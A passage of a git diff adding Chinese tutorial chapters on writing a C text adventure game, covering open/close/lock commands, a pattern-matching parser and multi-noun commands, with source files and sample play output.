+- 第 169、180、191 行。如果你喜欢沉重的宝箱而不是盒子，那么你所要做的就是增加重量（并相应调整相关文字和标签）。
+
+为了避免重复的代码，我们这次特意没有使用匿名函数。相反，我们将在一个单独的模块中实现必要的逻辑。函数 swapLocations 也在其中，这不过是一个稍微扩展的版本，它也会向用户输出反馈。
+
+## toggle.h
+
+```c
+extern void cannotBeOpened(void);
+extern void cannotBeClosed(void);
+extern void cannotBeLocked(void);
+extern void cannotBeUnlocked(void);
+
+extern void isAlreadyOpen(void);
+extern void isAlreadyClosed(void);
+extern void isAlreadyLocked(void);
+extern void isAlreadyUnlocked(void);
+
+extern void isStillOpen(void);
+extern void isStillLocked(void);
+
+extern void toggleDoorToBackroom(void);
+extern void toggleDoorToCave(void);
+extern void toggleBox(void);
+extern void toggleBoxLock(void);
+```
+
+## toggle.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+
+static void swapLocations(const char *verb1, OBJECT *obj1,
+                          const char *verb2, OBJECT *obj2)
+{
+   OBJECT *tmp = obj1->location;
+   OBJECT *obj = tmp != NULL ? obj1 : obj2;
+   const char *verb = tmp != NULL ? verb1 : verb2;
+   obj1->location = obj2->location;
+   obj2->location = tmp;
+   if (verb != NULL) printf("You %s %s.\n", verb, obj->description);
+}
+
+void cannotBeOpened(void)    { printf("That cannot be opened.\n");    }
+void cannotBeClosed(void)    { printf("That cannot be closed.\n");    }
+void cannotBeLocked(void)    { printf("That cannot be locked.\n");    }
+void cannotBeUnlocked(void)  { printf("That cannot be unlocked.\n");  }
+
+void isAlreadyOpen(void)     { printf("That is already open.\n");     }
+void isAlreadyClosed(void)   { printf("That is already closed.\n");   }
+void isAlreadyLocked(void)   { printf("That is already locked.\n");   }
+void isAlreadyUnlocked(void) { printf("That is already unlocked.\n"); }
+
+void isStillOpen(void)       { printf("That is still open.\n");       }
+void isStillLocked(void)     { printf("That is locked.\n");           }
+
+void toggleDoorToBackroom(void)
+{
+   swapLocations(NULL, openDoorToCave, NULL, closedDoorToCave);
+   swapLocations("close", openDoorToBackroom, "open", closedDoorToBackroom);
+}
+
+void toggleDoorToCave(void)
+{
+   swapLocations(NULL, openDoorToBackroom, NULL, closedDoorToBackroom);
+   swapLocations("close", openDoorToCave, "open", closedDoorToCave);
+}
+
+void toggleBox(void)
+{
+   swapLocations("close", openBox, "open", closedBox);
+}
+
+void toggleBoxLock(void)
+{
+   if (keyForBox->location == player)
+   {
+      swapLocations("lock", closedBox, "unlock", lockedBox);
+   }
+   else
+   {
+      printf("You don't have a key.\n");
+   }
+}
+```
+
+正如前面所宣布的，打开、关闭、锁定和解锁这四个命令的实现是完全通用的。
+
+## openclose.h
+
+```c
+extern void executeOpen(const char *noun);
+extern void executeClose(const char *noun);
+extern void executeLock(const char *noun);
+extern void executeUnlock(const char *noun);
+```
+
+## openclose.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "reach.h"
+
+void executeOpen(const char *noun)
+{
+   OBJECT *obj = reachableObject("what you want to open", noun);
+   if (obj != NULL) (*obj->open)();
+}
+
+void executeClose(const char *noun)
+{
+   OBJECT *obj = reachableObject("what you want to close", noun);
+   if (obj != NULL) (*obj->close)();
+}
+
+void executeLock(const char *noun)
+{
+   OBJECT *obj = reachableObject("what you want to lock", noun);
+   if (obj != NULL) (*obj->lock)();
+}
+
+void executeUnlock(const char *noun)
+{
+   OBJECT *obj = reachableObject("what you want to unlock", noun);
+   if (obj != NULL) (*obj->unlock)();
+}
+```
+
+上面，我们使用了一个通用函数 reachableObject 来处理不在这里的对象；其实现见下文。这样，我们就不必把同样的代码写四遍（每个执行函数写一遍）。更多的命令将在第 15 章中加入；这些命令将受益于同样的函数。
+
+## reach.h
+
+```c
+extern OBJECT *reachableObject(const char *intention, const char *noun);
+```
+
+## reach.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+
+OBJECT *reachableObject(const char *intention, const char *noun)
+{
+   OBJECT *obj = getVisible(intention, noun);
+   switch (getDistance(player, obj))
+   {
+   case distSelf:
+      printf("You should not be doing that to yourself.\n");
+      break;
+   case distHeldContained:
+   case distHereContained:
+      printf("You would have to get it from %s first.\n",
+             obj->location->description);
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distNotHere:
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      return obj;
+   }
+   return NULL;
+}
+```
+
+同样，我们也要对 parsexec.c 进行补充
+
+## parsexec.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "location.h"
+#include "inventory.h"
+#include "openclose.h"
+
+bool parseAndExecute(char *input)
+{
+   char *verb = strtok(input, " \n");
+   char *noun = strtok(NULL, "\n");
+   if (verb != NULL)
+   {
+      if (strcmp(verb, "quit") == 0)
+      {
+         return false;
+      }
+      else if (strcmp(verb, "look") == 0)
+      {
+         executeLook(noun);
+      }
+      else if (strcmp(verb, "go") == 0)
+      {
+         executeGo(noun);
+      }
+      else if (strcmp(verb, "get") == 0)
+      {
+         executeGet(noun);
+      }
+      else if (strcmp(verb, "drop") == 0)
+      {
+         executeDrop(noun);
+      }
+      else if (strcmp(verb, "give") == 0)
+      {
+         executeGive(noun);
+      }
+      else if (strcmp(verb, "ask") == 0)
+      {
+         executeAsk(noun);
+      }
+      else if (strcmp(verb, "inventory") == 0)
+      {
+         executeInventory();
+      }
+      else if (strcmp(verb, "open") == 0)
+      {
+         executeOpen(noun);
+      }
+      else if (strcmp(verb, "close") == 0)
+      {
+         executeClose(noun);
+      }
+      else if (strcmp(verb, "lock") == 0)
+      {
+         executeLock(noun);
+      }
+      else if (strcmp(verb, "unlock") == 0)
+      {
+         executeUnlock(noun);
+      }
+      else
+      {
+         printf("I don't know how to '%s'.\n", verb);
+      }
+   }
+   return true;
+}
+```
+
+注意：
+
+- 你可能已经注意到，object.txt 在本章中的大小几乎增加了一倍。我们已经可以向你保证，这只是一个开始。object.txt 是我们游戏数据的主要来源；一旦我们认真开始添加地点、物品和演员，行数很容易就会增加到数千行。
+- 除了门和锁之外，函数 swapLocation 还可以用于许多其他事情。在第 15 章，它将再次被使用，这次是用来打开和关闭灯。
+- 正如你在样本输出中所看到的，玩家可以从盒子里拿到金子，但他无法再把金子放回去！我们的解析器无法处理像把硬币放进盒子这样的 "复杂 "命令。因此，在下一章中，我们将编写一个全新的解析器：目前的双线实现急需更换！
+
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance to the east
+dense forest all around
+
+--> get coin
+You pick up a silver coin.
+
+--> give coin
+You give a silver coin to a burly guard.
+
+--> go cave
+You walk into the cave.
+
+You are in a little cave.
+You see:
+an exit to the west
+solid rock all around
+a closed door to the south
+a tiny key
+
+--> get key
+You pick up a tiny key.
+
+--> go south
+The door is closed.
+
+--> open door
+You open a closed door to the south.
+
+--> go south
+You walk through the door into a backroom.
+
+You are in a backroom.
+You see:
+solid rock all around
+an open door to the north
+a wooden box
+
+--> unlock box
+You unlock a wooden box.
+
+--> open box
+You open a wooden box.
+
+--> look box
+The box is open.
+You see:
+a gold coin
+
+--> get gold
+You get a gold coin from a wooden box.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md
new file mode 100644
index 0000000..1e591b9
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md
@@ -0,0 +1,525 @@
+# 13.编写解析器
+
+每个文本冒险都有一个解析器，但是解析器也有高下之分。一个简单的 "动词 - 名词 "解析器（就像我们从第二章开始一直使用的那个）对于一个精心设计的冒险游戏来说可能已经足够了。
+
+然而，Infocom 已经证明，一个更高级的解析器确实有助于制作一个令人愉快的游戏。它不一定要通过图灵测试。
+
+记住，它只是一个游戏。但是解析器应该使玩家能够以一种或多或少的自然方式来表达他的意图。
+
+我们目前的分析器主要由两行代码组成，隐藏在 parsexec.c 中。
+
+```c
+char *verb = strtok(input, " \n");
+char *noun = strtok(NULL, "\n");
+```
+
+好吧，我们再加上将动词映射到命令的 strcmp 调用序列，以及将名词映射到对象的 noun.c 中的函数，但仅此而已。在过去的 12 章中，这个系统为我们提供了良好的服务，但它也有缺陷。
+
+- 它只接受 "动词名词 "形式的简单命令；它不理解既有直接宾语又有间接宾语的句子，如把硬币放进盒子。
+- 它确实接受多字对象（如银币），但字与字之间的空格必须准确无误。我们的游戏拒绝银币和硬币之间的双空格。
+- 它是区分大小写的；"向北走 "的命令因为大写的 "G "而不被识别。
+
+::: warning 🤔 思考题：你能想到有什么办法解决这些问题吗？
+:::
+
+编写一个好的分析器并不是一件小事，但在这里我将给你一个相对简单的方法，我们将定义一个由模式列表组成的语法，类似于（但比）正则表达式要简单得多。
+
+| look around | 仅仅是匹配而已。双空格、前导空格、尾部空格和大小写差异都被忽略了   |
+| ----------- | ------------------------------------------------------------------ |
+| go A        | 匹配单词 go 和对象的标签（见第 5 章和第 9 章关于 "标签 "的解释）。 |
+| put A in B  | 匹配单词 put 后面的标签，单词 in 和另一个标签。                    |
+
+为了解析用户的输入，我们将从上到下遍历模式列表，依次尝试将用户的输入与每个模式匹配。我们将在发现第一个匹配时停止。为了简单起见，我们将不使用回溯，尽管这可以在以后添加。
+
+::: warning 🤔 思考题：如果我们使用回溯，那该怎么编写代码？
+:::
+
+大写字母是我们语法中的非终端符号，它们可以匹配任何标签（任何对象）。当解析器在两个不同的标签（例如 "银币 "和 "银"）之间进行选择时，较长的标签将被优先考虑。
+
+然后，匹配的标签可以作为参数名词传递给其中一个执行函数。对于有一个以上名词的命令（在下一章介绍），参数传递变得有点不切实际。为了简单起见，我们将使用一个全局变量而不是参数（尽管全局变量的名声不好）。该变量将是一个字符串指针的数组。
+
+```c
+const char *params[26];
+```
+
+该数组有 26 个元素；字母表中的每个（大写）字母都有一个，这足以满足一个模式中多达 26 个不同的非终端。对于一个（匹配的）模式中的每个非终端，将通过在非终端的数组元素中填充一个指向该特定标签的指针来 "捕获 "一个匹配的标签。params[0]（第一个数组元素）捕获非终端 "A"，params[1]捕获 "B"，以此类推。一个简单的宏定义可以用来找到属于某个非终端的数组元素。
+
+```c
+#define paramByLetter(letter)   (params + (letter) - 'A')
+```
+
+注意：你可能会发现数组长度为 26 有点过头了，但它确实让我们省去了写一些边界检查代码的麻烦，以防止在出现畸形模式时出现缓冲区溢出。
+
+现在，我们必须想出一个办法来处理缺失的或不被承认的名词。
+
+假设用户打错了字，输入了 "go kave"。问题是，这个命令到底应不应该匹配 "go A "这个命令？如果我们不想出解决办法，那么这个命令将无法匹配任何其他命令，并最终进入一个通用的错误处理程序，它可能会回答 "我不知道如何去 kave "这样的话。这就失去了改进这些 "消极反应 "的所有机会；回答 "我不知道你要去哪里 "已经感觉更自然了。最好的办法是将所有关于命令去向的答复保持在函数 executeGo 内。
+
+::: warning 🤔 停下来想一想，可以怎么解决这个问题？
+:::
+
+有几种方法可以实现这一点，但最简单的方法是允许非终止符匹配任何东西。所以不仅仅是一个有效的标签，也包括完全的胡言乱语、空白或什么都没有这种语句。这种 "无效 "的输入将被捕获为一个空字符串（""）。
+
+在模式中间有这样一个 "松散 "的非终端，确实会使模式匹配过程复杂化；在匹配输入 "把 foo 放在盒子里 "和模式 "把 A 放在 B 里 "时，它需要回溯以正确对齐 "in "这个词。
+
+为了简单起见，我们将只对出现在模式最末端的非终止符进行松散匹配。为了能够正确匹配上面的例子，我们需要两个独立的模式：
+
+- 模式 "put A in B "将匹配有效的命令 put coin in box，以及无效的命令 put coin in booox 和 put coin in。注意，非终端 A 只匹配有效的标签（在这个例子中是硬币）。
+- 模式 "put A "匹配所有剩余的无效命令：put coin, put koin, put koin in box, put koin in booox 和一个裸 put。还有最初的例子（put foo in in box）。
+
+模式的顺序在这里至关重要：如果 "放 A "在上面（意味着它将被首先尝试），那么它将消耗每个放的命令；一个有效的 "put coin in box "命令将被认为是无效的，因为没有 "硬币在盒子里 "的标签。
+
+对于以多种形式出现的命令也是如此，比如说 look 这个命令：
+
+- Look around
+- look（作为环顾四周的缩写）
+- Look A
+
+前两个命令形式可以为任何顺序，但第三个必须在最后。
+
+::: warning 🤔 思考题：你是否有办法解决这个问题？
+:::
+
+是时候将其付诸行动了。我们将抛弃模块 parsexec.c 的现有内容，用一个新的函数 parseAndExecute 的实现来取代它，该函数使用一个模式列表，应该能够匹配我们到目前为止实现的每一条命令。每个模式都与一个执行相应命令的函数相联系。
+
+## parsexec.c
+
+```c
+extern bool parseAndExecute(const char *input);
+```
+
+## parsexec.h
+
+```c
+#include <ctype.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "location.h"
+#include "inventory.h"
+#include "openclose.h"
+
+typedef struct
+{
+   const char *pattern;
+   bool (*function)(void);
+} COMMAND;
+
+static bool executeQuit(void)
+{
+   return false;
+}
+
+static bool executeNoMatch(void)
+{
+   const char *src = *params;
+   int len;
+   for (len = 0; src[len] != '\0' && !isspace(src[len]); len++);
+   //计算玩家输入的第一个字符串的长度
+   if (len > 0) printf("I don't know how to '%.*s'.\n", len, src);
+   return true;
+}
+
+bool parseAndExecute(const char *input)
+{
+   static const COMMAND commands[] =
+   //模式数组
+   {
+      { "quit"                , executeQuit       },
+      { "look"                , executeLookAround },
+      { "look around"         , executeLookAround },
+      { "look at A"           , executeLook       },
+      { "look A"              , executeLook       },
+      { "examine A"           , executeLook       },
+      { "go to A"             , executeGo         },
+      { "go A"                , executeGo         },
+      { "get A"               , executeGet        },
+      { "drop A"              , executeDrop       },
+      { "ask A"               , executeAsk        },
+      { "give A"              , executeGive       },
+      { "inventory"           , executeInventory  },
+      { "open A"              , executeOpen       },
+      { "close A"             , executeClose      },
+      { "lock A"              , executeLock       },
+      { "unlock A"            , executeUnlock     },
+      { "A"                   , executeNoMatch    }
+   };
+   const COMMAND *cmd;
+   for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++);
+   return (*cmd->function)();
+}
+```
+
+最难的部分是函数 matchCommand 的实现。但正如你在下面看到的，这也可以在不到 100 行的代码中完成。
+
+## match.h
+
+```c
+#define MAX_PARAMS  26
+
+extern const char *params[];
+
+#define paramByLetter(letter)   (params + (letter) - 'A')
+
+extern bool matchCommand(const char *src, const char *pattern);
+```
+
+## match.c
+
+```c
+#include <ctype.h>
+#include <stdbool.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+
+const char *params[MAX_PARAMS];
+
+static const char *skipSpaces(const char *src)
+{
+   while (isspace(*src)) src++;
+   return src;
+}
+
+static const char *matchSpaces(const char *src)
+{
+   return *src == '\0' || isspace(*src) ? skipSpaces(src) : NULL;
+}
+
+static const char *matchTerminal(const char *src, char terminal)
+{
+   return terminal == ' '                    ? matchSpaces(src) :
+          tolower(*src) == tolower(terminal) ? src + 1          : NULL;
+}
+
+static const char *matchTag(const char *src, const char *tag, bool atEnd)
+{
+   while (src != NULL && *tag != '\0')
+   {
+      src = matchTerminal(src, *tag++);
+   }
+   return atEnd && src != NULL && *skipSpaces(src) != '\0' ? NULL : src;
+}
+
+static const char *matchParam(const char *src, const char **par, bool loose)
+{
+   const char *restOfSrc = loose ? src + strlen(src) : NULL;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      const char **tag;
+      for (tag = obj->tags; *tag != NULL; tag++)
+      {
+         const char *behindMatch = matchTag(src, *tag, loose);
+         if (behindMatch != NULL && strlen(*tag) > strlen(*par))
+         {
+            *par = *tag;
+            restOfSrc = behindMatch;
+         }
+      }
+   }
+   if (**par == '\0')
+   {
+      *par = src;
+   }
+   return restOfSrc;
+}
+
+bool matchCommand(const char *src, const char *pattern)
+{
+   const char **par;
+   for (par = params; par < params + MAX_PARAMS; par++)
+   {
+      *par = "";
+   }
+   for (src = skipSpaces(src); src != NULL && *pattern != '\0'; pattern++)
+   {
+      src = isupper(*pattern)
+               ? matchParam(src, paramByLetter(*pattern), pattern[1] == '\0')
+               : matchTerminal(src, *pattern);
+   }
+   return src != NULL && *skipSpaces(src) == '\0';
+}
+```
+
+我们调整各种命令的实现，以利用新的数组参数。
+
+## **inventory.h**
+
+```c
+extern bool executeGet(void);
+extern bool executeDrop(void);
+extern bool executeAsk(void);
+extern bool executeGive(void);
+extern bool executeInventory(void);
+```
+
+## **inventory.c**
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "noun.h"
+#include "move.h"
+
+bool executeGet(void)
+{
+   OBJECT *obj = getVisible("what you want to get", params[0]);
+   switch (getDistance(player, obj))
+   {
+   case distSelf:
+      printf("You should not be doing that to yourself.\n");
+      break;
+   case distHeld:
+      printf("You already have %s.\n", obj->description);
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      if (obj->location != NULL && obj->location->health > 0)
+      {
+         printf("You should ask %s nicely.\n", obj->location->description);
+      }
+      else
+      {
+         moveObject(obj, player);
+      }
+   }
+   return true;
+}
+
+bool executeDrop(void)
+{
+   moveObject(getPossession(player, "drop", params[0]), player->location);
+   return true;
+}
+
+bool executeAsk(void)
+{
+   moveObject(getPossession(actorHere(), "ask", params[0]), player);
+   return true;
+}
+
+bool executeGive(void)
+{
+   moveObject(getPossession(player, "give", params[0]), actorHere());
+   return true;
+}
+
+bool executeInventory(void)
+{
+   if (listObjectsAtLocation(player) == 0)
+   {
+      printf("You are empty-handed.\n");
+   }
+   return true;
+}
+```
+
+我们在上一章中添加的模块也是如此。
+
+## opemclose.h
+
+```c
+extern bool executeOpen(void);
+extern bool executeClose(void);
+extern bool executeLock(void);
+extern bool executeUnlock(void);
+```
+
+## openclose.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "match.h"
+#include "reach.h"
+
+bool executeOpen(void)
+{
+   OBJECT *obj = reachableObject("what you want to open", params[0]);
+   if (obj != NULL) (*obj->open)();
+   return true;
+}
+
+bool executeClose(void)
+{
+   OBJECT *obj = reachableObject("what you want to close", params[0]);
+   if (obj != NULL) (*obj->close)();
+   return true;
+}
+
+bool executeLock(void)
+{
+   OBJECT *obj = reachableObject("what you want to lock", params[0]);
+   if (obj != NULL) (*obj->lock)();
+   return true;
+}
+
+bool executeUnlock(void)
+{
+   OBJECT *obj = reachableObject("what you want to unlock", params[0]);
+   if (obj != NULL) (*obj->unlock)();
+   return true;
+}
+```
+
+在 location.c 中，look around 命令被赋予了自己的功能，与检查特定对象的 look 命令分开（见第 7-12 行）。
+
+## location.h
+
+```c
+extern bool executeLookAround(void);
+extern bool executeLook(void);
+extern bool executeGo(void);
+```
+
+## location.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "noun.h"
+
+bool executeLookAround(void)
+{
+   printf("You are in %s.\n", player->location->description);
+   listObjectsAtLocation(player->location);
+   return true;
+}
+
+bool executeLook(void)
+{
+   OBJECT *obj = getVisible("what you want to look at", params[0]);
+   switch (getDistance(player, obj))
+   {
+   case distHereContained:
+      printf("Hard to see, try to get it first.\n");
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", params[0]);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      printf("%s\n", obj->details);
+      listObjectsAtLocation(obj);
+   }
+   return true;
+}
+
+static void movePlayer(OBJECT *passage)
+{
+   printf("%s\n", passage->textGo);
+   if (passage->destination != NULL)
+   {
+      player->location = passage->destination;
+      printf("\n");
+      executeLookAround();
+   }
+}
+
+bool executeGo(void)
+{
+   OBJECT *obj = getVisible("where you want to go", params[0]);
+   switch (getDistance(player, obj))
+   {
+   case distOverthere:
+      movePlayer(getPassage(player->location, obj));
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", params[0]);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      movePlayer(obj);
+   }
+   return true;
+}
+```
+
+我们的游戏仍然只接受简单的动词 - 名词命令，但新的解析器确实有可能接受有多个名词的命令，如 "put coin in box",这将在下一章中演示。
+
+新的解析器比原来的解析器有了很大的改进，但以今天的标准来看，它仍然远远不够完美。例如，没有结构性的方法可以用一个命令操纵多个对象（"获得硬币、钥匙和灯"）或连续执行两个或多个命令（"获得钥匙然后向东走"）。这对于一个 RPG 游戏来说限制实在太大了！
+
+在真正意义上，我们的分析器甚至不是一个分析器，它只是一个简单的模式匹配器。我们认为，对于一个简单的冒险游戏来说，它的工作已经足够好了。它的一些缺陷可以通过添加更多的模式而得到缓解。但最终，你会遇到它的局限性，你可能想转到更成熟的东西上。在这种情况下，我们推荐使用一个体面的分析器生成器（例如 Yacc）。请注意，这不是一件容易做到的事情。目前，这已经超出了本教程的范围。
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance to the east
+dense forestall around
+
+--> get coin
+You pick up a silver coin.
+
+--> give coin
+You give a silver coin to a burly guard.
+
+--> go cave
+You walk into the cave.
+
+You are in a little cave.
+You see:
+an exit to the west
+solid rock all around
+a closed door to the south
+a tiny key
+
+--> get key
+You pick up a tiny key.
+
+--> go south
+The door is closed.
+
+--> open door
+You open a closed door to the south.
+
+--> go south
+You walk through the door into a backroom.
+
+You are in a backroom.
+You see:
+solid rock all around
+an open door to the north
+a wooden box
+
+--> unlock box
+You unlock a wooden box.
+
+--> open box
+You open a wooden box.
+
+--> examine box
+The box is open.
+You see:
+a gold coin
+
+--> get gold
+You get a gold coin from a wooden box.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md
new file mode 100644
index 0000000..9ced0d2
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md
@@ -0,0 +1,366 @@
+# 14.丰富命令
+
+是时候证明新的解析器确实有能力解释更复杂的命令了。
+
+到目前为止，我们的解析器只接受简单的动词 - 名词命令。让我们试着解析一些更复杂的命令，比如：
+
+- get coin from box
+- put coin in box
+- ask coin from guard
+- give coin to guard
+
+在 parsexec.c 中添加模式似乎很简单。
+
+- get A from B
+- put A in B
+- ask A from B
+- give A to B
+
+::: warning 🤔 思考题：你能否自行实现这些命令
+:::
+
+但是正如前一章所解释的，类似的命令（比如 "从 B 中获取 A "和已经存在的 "获取 A"）必须以正确的顺序排列。如果'get A'首先出现，那么它将消耗任何以'get'开头的命令，包括所有应该被新模式匹配的命令。简而言之，"从 B 获取 A "必须出现在 "获取 A "之前。
+
+有些命令（例如 put）没有单名词的变体。然而，我们将添加一个带有单非词的模式（'put A'）。我们需要这个模式来正确捕捉一个拼写错误的名词。完整的模式 "把 A 放进 B "不会匹配 "把 Koin 放进盒子 "这样的命令。正如前一章所解释的，只有模式末尾的非终端才能够捕捉到拼写错误的名词或其他不被识别的名词。
+
+这也适用于有两个以上的名词的命令。有 n 个名词，你需要 n 个模式来处理所有可能的不匹配。一个有三个参数的例子：
+
+1. “paint A on B with C”
+2. “paint A on B”
+3. “paint A”
+
+同样，模式的顺序是至关重要的：如果 "涂抹 A "在最上面（意味着它将被首先尝试），那么它将消耗所有的涂抹命令，包括那些本应由 1 和 2 捕获的命令。
+
+目前，我们不需要有两个以上非终结点的模式。
+
+## parsexec.h
+
+```c
+extern bool parseAndExecute(const char *input);
+```
+
+## parsexec.c
+
+```c
+#include <ctype.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "location.h"
+#include "inventory.h"
+#include "inventory2.h"
+#include "openclose.h"
+
+typedef struct
+{
+   const char *pattern;
+   bool (*function)(void);
+} COMMAND;
+
+static bool executeQuit(void)
+{
+   return false;
+}
+
+static bool executeNoMatch(void)
+{
+   const char *src = *params;
+   int len;
+   for (len = 0; src[len] != '\0' && !isspace(src[len]); len++);
+   if (len > 0) printf("I don't know how to '%.*s'.\n", len, src);
+   return true;
+}
+
+bool parseAndExecute(const char *input)
+{
+   static const COMMAND commands[] =
+   {
+      { "quit"                , executeQuit       },
+      { "look"                , executeLookAround },
+      { "look around"         , executeLookAround },
+      { "look at A"           , executeLook       },
+      { "look A"              , executeLook       },
+      { "examine A"           , executeLook       },
+      { "go to A"             , executeGo         },
+      { "go A"                , executeGo         },
+      { "get A from B"        , executeGetFrom    },
+      { "get A"               , executeGet        },
+      { "put A in B"          , executePutIn      },
+      { "drop A in B"         , executePutIn      },
+      { "drop A"              , executeDrop       },
+      { "ask A from B"        , executeAskFrom    },
+      { "ask A"               , executeAsk        },
+      { "give A to B"         , executeGiveTo     },
+      { "give A"              , executeGive       },
+      { "inventory"           , executeInventory  },
+      { "open A"              , executeOpen       },
+      { "close A"             , executeClose      },
+      { "lock A"              , executeLock       },
+      { "unlock A"            , executeUnlock     },
+      { "A"                   , executeNoMatch    }
+   };
+   const COMMAND *cmd;
+   for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++);
+   return (*cmd->function)();
+}
+```
+
+在一个新的模块 inventory2.c 中，我们实现了新的多名词命令 get、drop/put、ask 和 give。现在我们终于可以把金币放回盒子里了 (可喜可贺，可喜可贺)。
+
+## inventory2.h
+
+```c
+extern bool executeGetFrom(void);
+extern bool executePutIn(void);
+extern bool executeAskFrom(void);
+extern bool executeGiveTo(void);
+```
+
+## inventory2.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "match.h"
+#include "noun.h"
+#include "move.h"
+#include "reach.h"
+
+bool executeGetFrom(void)
+{
+   OBJECT *from = reachableObject("where to get that from", params[1]);
+   if (from != NULL && getVisible("what you want to get", params[0]) != NULL)
+   {
+      if (from->health > 0)
+      {
+         printf("You should ask %s nicely.\n", from->description);
+      }
+      else
+      {
+         moveObject(getPossession(from, "get", params[0]), player);
+      }
+   }
+   return true;
+}
+
+bool executePutIn(void)
+{
+   OBJECT *obj = getPossession(player, "put", params[0]);
+   if (obj != NULL)
+   {
+      OBJECT *to = reachableObject("where to put that in", params[1]);
+      if (to != NULL)
+      {
+         if (to->health > 0)
+         {
+            printf("You should offer that nicely to %s.\n", to->description);
+         }
+         else
+         {
+            moveObject(obj, to);
+         }
+      }
+   }
+   return true;
+}
+
+bool executeAskFrom(void)
+{
+   OBJECT *from = reachableObject("who to ask that", params[1]);
+   if (from != NULL)
+   {
+      if (from->health > 0)
+      {
+         if (getVisible("what you want to ask", params[0]) != NULL)
+         {
+            moveObject(getPossession(from, "ask", params[0]), player);
+         }
+      }
+      else
+      {
+         printf("There is no response from %s.\n", from->description);
+      }
+   }
+   return true;
+}
+
+bool executeGiveTo(void)
+{
+   OBJECT *obj = getPossession(player, "give", params[0]);
+   if (obj != NULL)
+   {
+      OBJECT *to = reachableObject("who to give that to", params[1]);
+      if (to != NULL)
+      {
+         if (to->health > 0)
+         {
+            moveObject(obj, to);
+         }
+         else
+         {
+            printf("No eagerness is shown by %s.\n", to->description);
+         }
+      }
+   }
+   return true;
+}
+```
+
+仔细观察上面的代码，你可能会注意到，像 "把硬币放进森林 "和 "把硬币放进盒子 "这样的命令（当盒子被关闭时）会得到以下奇怪的回答："这太重了。" 这是因为大多数物体（包括封闭的盒子，以及像森林这样的场景）容纳其他物体的能力为零。这是正确的，但这个信息是很不恰当的。为了避免这种情况，我们将为那些容量为零的物体引入一个单独的信息："这样做似乎不太适合。"
+
+::: warning 🤔 先想想有没有什么办法解决？
+:::
+
+然而，当它作为对 "把钥匙放进盒子里 "的回应时，这个特殊的信息是完全误导的。所以我们将为这种特殊的对象组合做一个特殊的例外。
+
+## move.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+static int weightOfContents(OBJECT *container)
+{
+   int sum = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(container, obj)) sum += obj->weight;
+   }
+   return sum;
+}
+
+static void describeMove(OBJECT *obj, OBJECT *to)
+{
+   if (to == player->location)
+   {
+      printf("You drop %s.\n", obj->description);
+   }
+   else if (to != player)
+   {
+      printf(to->health > 0 ? "You give %s to %s.\n" : "You put %s in %s.\n",
+             obj->description, to->description);
+   }
+   else if (obj->location == player->location)
+   {
+      printf("You pick up %s.\n", obj->description);
+   }
+   else
+   {
+      printf("You get %s from %s.\n",
+             obj->description, obj->location->description);
+   }
+}
+
+void moveObject(OBJECT *obj, OBJECT *to)
+{
+   if (obj == NULL)
+   {
+      // already handled by getVisible or getPossession
+   }
+   else if (to == NULL)
+   {
+      printf("There is nobody here to give that to.\n");
+   }
+   else if (to->capacity == 0)
+   {
+      printf(obj == keyForBox && (to == closedBox || to == lockedBox) ?
+                "The key seems to fit the lock.\n" :
+                "It doesn't seem to fit in.\n");
+   }
+   else if (obj->weight > to->capacity)
+   {
+      printf("That is way too heavy.\n");
+   }
+   else if (obj->weight + weightOfContents(to) > to->capacity)
+   {
+      printf("That would become too heavy.\n");
+   }
+   else
+   {
+      describeMove(obj, to);
+      obj->location = to;
+   }
+}
+```
+
+毫无疑问，我们接受的命令越复杂，我们就需要花更多的精力来做出令人信服的答复。
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
